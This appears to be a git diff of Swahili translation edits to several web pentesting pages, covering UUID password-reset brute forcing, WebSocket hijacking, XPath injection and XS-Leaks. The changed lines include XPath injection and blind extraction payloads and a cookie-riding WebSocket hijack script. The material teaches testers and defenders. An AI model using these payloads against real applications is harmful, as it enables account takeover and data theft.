- Mara moja baada ya hapo, mshambuliaji anachochea upya wa nywila kwa akaunti ya mwathirika (\`victim@acme.com\`) na kisha haraka kwa akaunti ya pili inayodhibitiwa na mshambuliaji (\`attacker2@acme.com\`).
- Mshambuliaji anasababisha upya wa nywila kwa akaunti yake ya kwanza (\`attacker1@acme.com\`) na kupokea kiungo cha upya wa nywila chenye UUID, sema \`99874128-7592-11e9-8201-bb2f15014a14\`.
- Mara moja baada ya hapo, mshambuliaji anasababisha upya wa nywila kwa akaunti ya mwathirika (\`victim@acme.com\`) na kisha haraka kwa akaunti ya pili inayodhibitiwa na mshambuliaji (\`attacker2@acme.com\`).
- Mshambuliaji anapata kiungo cha upya kwa akaunti ya pili chenye UUID, sema \`998796b4-7592-11e9-8201-bb2f15014a14\`.
3. **Uchambuzi**:
@ -47,11 +47,11 @@ Fikiria programu ya wavuti inayotumia UUID v1 kwa ajili ya kuunda viungo vya upy
4. **Brute Force Attack:**
- Mshambuliaji anatumia zana kuunda UUIDs kati ya hizi mbili na kujaribu kila UUID iliyoundwa kwa kujaribu kufikia kiungo cha upya wa nywila (kwa mfano, \`https://www.acme.com/reset/\<generated-UUID>\`).
- Ikiwa programu ya wavuti haipunguzi vizuri kiwango au kuzuia majaribio kama haya, mshambuliaji anaweza haraka kujaribu UUID zote zinazowezekana katika anuwai hiyo.
- Ikiwa programu ya wavuti haipunguzwi vizuri au kuzuia majaribio kama haya, mshambuliaji anaweza haraka kujaribu UUID zote zinazowezekana katika anuwai hiyo.
5. **Ufikiaji Uliopatikana:**
- Mara tu UUID sahihi kwa kiungo cha upya wa nywila ya mwathirika inapogundulika, mshambuliaji anaweza kuanzisha upya wa nywila ya mwathirika na kupata ufikiaji usioidhinishwa kwa akaunti yao.
- Mara tu UUID sahihi kwa kiungo cha upya wa nywila ya mwathirika inapogundulika, mshambuliaji anaweza kuunda upya nywila ya mwathirika na kupata ufikiaji usioidhinishwa kwa akaunti yao.
### Tools

View File

@ -4,11 +4,11 @@
Zana ya FUZZ programu za wavuti popote.
> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa ili kurahisisha kazi katika tathmini za programu za wavuti na inategemea dhana rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa ili kuwezesha kazi katika tathmini za programu za wavuti na inategemea wazo rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
## Installation
Installed in Kali
Imewekwa katika Kali
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
```

View File

@ -7,7 +7,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
## Proxies
> [!NOTE]
> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
> Sasa hivi **maombi** **ya wavuti** kwa kawaida **yanatumia** aina fulani ya **proxies** **za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
@ -21,7 +21,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
## **User input**
> [!NOTE]
> Maombi mengi ya mtandao yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
> Maombi mengi ya wavuti yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
> Kulingana na muundo wa data ambayo seva inatarajia, udhaifu fulani unaweza kutumika au kutoweza kutumika.
### **Reflected Values**
@ -71,7 +71,7 @@ Wakati websocket inachapisha ujumbe au fomu inayowaruhusu watumiaji kufanya vite
### **HTTP Headers**
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya mtandao, udhaifu fulani unaweza kuwepo.
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya wavuti, udhaifu fulani unaweza kuwepo.
- [ ] [**Clickjacking**](clickjacking.md)
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
@ -119,7 +119,7 @@ Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomat
### **Other Helpful Vulnerabilities**
Udhaifu huu unaweza kusaidia kutekeleza udhaifu mwingine.
Hizi udhaifu zinaweza kusaidia kutekeleza udhaifu mwingine.
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
- [ ] [**IDOR**](idor.md)

View File

@ -7,7 +7,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
## Proxies
> [!NOTE]
> Sasa hivi **maombi ya mtandao** kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kawaida pia unahitaji udhaifu wa ziada katika backend.
> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
@ -26,7 +26,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinawe
### **Reflected Values**
Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisi katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisiwa katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
- [ ] [**Command Injection**](../command-injection.md)
@ -44,7 +44,7 @@ Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisi katika jibu, ukurasa unaw
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisi. Unaweza kupata polygloths kadhaa za kuvutia kujaribu haraka udhaifu katika:
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisiwa. Unaweza kupata polygloths kadhaa za kuvutia ili kujaribu haraka udhaifu katika:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
@ -52,7 +52,7 @@ Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui
### **Search functionalities**
Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo ya kawaida.
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
- [ ] [**NoSQL Injection**](../nosql-injection.md)
@ -93,7 +93,7 @@ Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzi
### **Structured objects / Specific functionalities**
Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
Baadhi ya kazi zitahitaji **data kuandikwa katika muundo maalum sana** (kama vile kitu kilichosawazishwa kwa lugha au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa ingizo unatumika** (kama vile Email Header Injections).
- [ ] [**Deserialization**](../deserialization/)

View File

@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Majibu ya mkono wa server:
Majibu ya mkono wa mkutano wa seva:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -42,7 +42,7 @@ Muunganisho unabaki wazi kwa ajili ya kubadilishana ujumbe katika mwelekeo wote
- Thamani ya nasibu iliyokodishwa kwa Base64 inatumwa katika kichwa cha `Sec-WebSocket-Key`, kuhakikisha kila handshake ni ya kipekee, ambayo husaidia kuzuia matatizo na proxies za caching. Thamani hii si kwa ajili ya uthibitishaji bali kuthibitisha kwamba jibu halijatolewa na seva iliyo na mipangilio isiyo sahihi au cache.
- Kichwa cha `Sec-WebSocket-Accept` katika jibu la seva ni hash ya `Sec-WebSocket-Key`, ikithibitisha nia ya seva kufungua muunganisho wa WebSocket.
Vipengele hivi vinahakikisha kwamba mchakato wa handshake ni salama na wa kuaminika, ukifungua njia kwa mawasiliano ya wakati halisi yenye ufanisi.
Vipengele hivi vinahakikisha mchakato wa handshake ni salama na wa kuaminika, ukitengeneza njia kwa mawasiliano ya wakati halisi yenye ufanisi.
### Linux console
@ -69,8 +69,8 @@ Unaweza kutumia **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
- **Burp Suite** inasaidia mawasiliano ya MitM websockets kwa njia inayofanana sana na inavyofanya kwa mawasiliano ya kawaida ya HTTP.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** itakuruhusu kudhibiti mawasiliano ya Websocket kwa njia bora zaidi katika Burp kwa kupata **history**, kuweka **interception rules**, kutumia **match and replace** rules, kutumia **Intruder** na **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Fupi kwa "**WebSocket/Socket.io Proxy**", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili **kukamata, kuingilia, kutuma ujumbe maalum** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya penetration testing. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa **kujiendesha** mawasiliano haya.&#x20;
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Fupi kwa "**WebSocket/Socket.io Proxy**", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili **kukamata, kuingilia, kutuma ujumbe wa kawaida** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya penetration testing. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa kutumia kwa **kujiendesha** mawasiliano haya.&#x20;
- [**https://websocketking.com/**](https://websocketking.com/) ni **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) kati ya aina nyingine za mawasiliano/protocols, inatoa **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets.**
@ -86,9 +86,9 @@ Wavamizi wanaweza kutumia hii kwa kuandaa **ukurasa wa wavuti mbaya** unaoanzish
### Simple Attack
Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session** yake kulingana na **cookie** iliyotumwa.
Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session yake kulingana na cookie iliyotumwa**.
Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma nyuma historia ya mazungumzo** ya mtumiaji ikiwa ujumbe na "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwasilisha** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma tena historia ya mazungumzo** ya mtumiaji ikiwa ujumbe na "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwasilisha** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -140,11 +140,11 @@ Mashindano ya Mbio katika WebSockets pia ni jambo, [angalia habari hii kujifunza
## Uthibitisho Mwingine
Kama Web Sockets ni mekanismu ya **kutuma data kwa upande wa seva na upande wa mteja**, kulingana na jinsi seva na mteja wanavyoshughulikia habari, **Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia ingizo la mtumiaji kutoka kwa websocket.**
Kama Web Sockets ni mekanizma ya **kutuma data kwa upande wa seva na upande wa mteja**, kulingana na jinsi seva na mteja wanavyoshughulikia habari, **Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia ingizo la mtumiaji kutoka kwa websocket.**
## **WebSocket Smuggling**
Udhaifu huu unaweza kukuruhusu **kupita vizuizi vya proxies za nyuma** kwa kuwafanya waamini kwamba **mawasiliano ya websocket yameanzishwa** (hata kama si kweli). Hii inaweza kumruhusu mshambuliaji **kuaccess maeneo yaliyofichwa**. Kwa maelezo zaidi angalia ukurasa ufuatao:
Udhaifu huu unaweza kukuruhusu **kupita vizuizi vya proxies za nyuma** kwa kuwafanya waamini kwamba **mawasiliano ya websocket yameanzishwa** (hata kama si kweli). Hii inaweza kumruhusu mshambuliaji **kupata maeneo yaliyofichwa**. Kwa maelezo zaidi angalia ukurasa ufuatao:
{{#ref}}
h2c-smuggling.md

View File

@ -22,20 +22,20 @@ Maelekezo yanatumika kuchagua nodi mbalimbali katika hati ya XML. Maelekezo haya
Mifano ya maelekezo ya njia na matokeo yake ni pamoja na:
- **bookstore**: Nodi zote zenye jina "bookstore" zinachaguliwa.
- **/bookstore**: Kigezo cha mzizi bookstore kinachaguliwa. Inabainishwa kuwa njia kamili ya kigezo inawakilishwa na njia inayaanza na slash (/).
- **/bookstore**: Kigezo cha mzizi bookstore kinachaguliwa. Inabainishwa kuwa njia kamili ya kipengele inawakilishwa na njia inayaanza na slash (/).
- **bookstore/book**: Vipengele vyote vya kitabu ambavyo ni watoto wa bookstore vinachaguliwa.
- **//book**: Vipengele vyote vya kitabu katika hati vinachaguliwa, bila kujali mahali pake.
- **bookstore//book**: Vipengele vyote vya kitabu ambavyo ni wazazi wa kigezo cha bookstore vinachaguliwa, bila kujali nafasi yao chini ya kigezo cha bookstore.
- **bookstore//book**: Vipengele vyote vya kitabu ambavyo ni wazazi wa kipengele cha bookstore vinachaguliwa, bila kujali nafasi yao chini ya kipengele cha bookstore.
- **//@lang**: Sifa zote zenye jina lang zinachaguliwa.
### Utilization of Predicates
Predicates zinatumika kuboresha uchaguzi:
- **/bookstore/book\[1]**: Kigezo cha kwanza cha kitabu mtoto wa kigezo cha bookstore kinachaguliwa. Njia mbadala kwa toleo za IE 5 hadi 9, ambazo zinaweka nodi ya kwanza kama \[0], ni kuweka SelectionLanguage kuwa XPath kupitia JavaScript.
- **/bookstore/book\[last()]**: Kigezo cha mwisho cha kitabu mtoto wa kigezo cha bookstore kinachaguliwa.
- **/bookstore/book\[last()-1]**: Kigezo cha pili cha mwisho cha kitabu mtoto wa kigezo cha bookstore kinachaguliwa.
- **/bookstore/book\[position()<3]**: Vipengele viwili vya kwanza vya kitabu watoto wa kigezo cha bookstore vinachaguliwa.
- **/bookstore/book\[1]**: Kipengele cha kwanza cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa. Njia mbadala kwa toleo za IE 5 hadi 9, ambazo zinaweka nodi ya kwanza kama \[0], ni kuweka SelectionLanguage kuwa XPath kupitia JavaScript.
- **/bookstore/book\[last()]**: Kipengele cha mwisho cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa.
- **/bookstore/book\[last()-1]**: Kipengele cha pili cha mwisho cha kitabu mtoto wa kipengele cha bookstore kinachaguliwa.
- **/bookstore/book\[position()<3]**: Vipengele viwili vya kwanza vya watoto wa kitabu wa kipengele cha bookstore vinachaguliwa.
- **//title\[@lang]**: Vipengele vyote vya kichwa vyenye sifa ya lang vinachaguliwa.
- **//title\[@lang='en']**: Vipengele vyote vya kichwa vyenye thamani ya sifa "lang" ya "en" vinachaguliwa.
- **/bookstore/book\[price>35.00]**: Vipengele vyote vya kitabu vya bookstore vyenye bei zaidi ya 35.00 vinachaguliwa.
@ -156,7 +156,7 @@ string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/accou
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Kunyanyua sindano za null**
### **Kutitumia null injection**
```
Username: ' or 1]%00
```
@ -207,7 +207,7 @@ Matokeo yana vitu na mtumiaji anaweza kubadilisha thamani kutafuta:
```
## Blind Explotation
### **Pata urefu wa thamani na uitoe kwa kulinganisha:**
### **Pata urefu wa thamani na uondoe kwa kulinganisha:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

View File

@ -19,9 +19,9 @@ Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na:
Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho.
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji.
- **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia yale yanayosababishwa na JavaScript au HTML.
- **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
- **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
- **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili.
@ -30,17 +30,17 @@ Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
- **HTML Elements**: HTML inatoa vipengele mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vipengele vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Vipengele kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kituo cha fremu kupitia mali ya contentWindow.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitishaji wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
### Leak Techniques
- **Event Handler**: Mbinu ya kawaida ya kuonyesha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuonyesha moja kwa moja kutoka kwa ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo.
- **Mipaka ya Ulimwengu**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikihudumu kama mbinu ya kuonyesha.
- **Mipaka ya Ulimwengu**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuonyesha.
- **Hali ya Ulimwengu**: Maingiliano yanayoweza kugundulika na **hali za ulimwengu** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika.
- **Attributes Zinazoweza Kusomwa**: Baadhi ya attributes za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya kuonyesha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya kuonyesha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
## XSinator Tool & Paper
@ -121,7 +121,7 @@ Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`un
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinaweza kufanyika kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -134,25 +134,25 @@ Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xs
- **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
- **Code Example**:
Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**flag**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**onload event**_ itatekelezwa **daima angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Kwa mfano:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **kupakia**, basi, tukio la **onload** litazinduliwa **tena**.
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL, **onload** event **haitaanzishwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, **onload** event itaanzishwa **tena**.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** unapofikiwa.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** kodhi za washambuliaji **zinatekelezwa,** na katika kesi **chanya** **hakuna** itatekelezwa.
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** tags, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasemwa,** na katika kesi **chanya** **hakuna** itatekelezwa.
- **Code Example:**
{{#ref}}
@ -164,7 +164,7 @@ xs-search/javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakia rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudi `Content-Type` _**ililindwa na CORB**_ na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
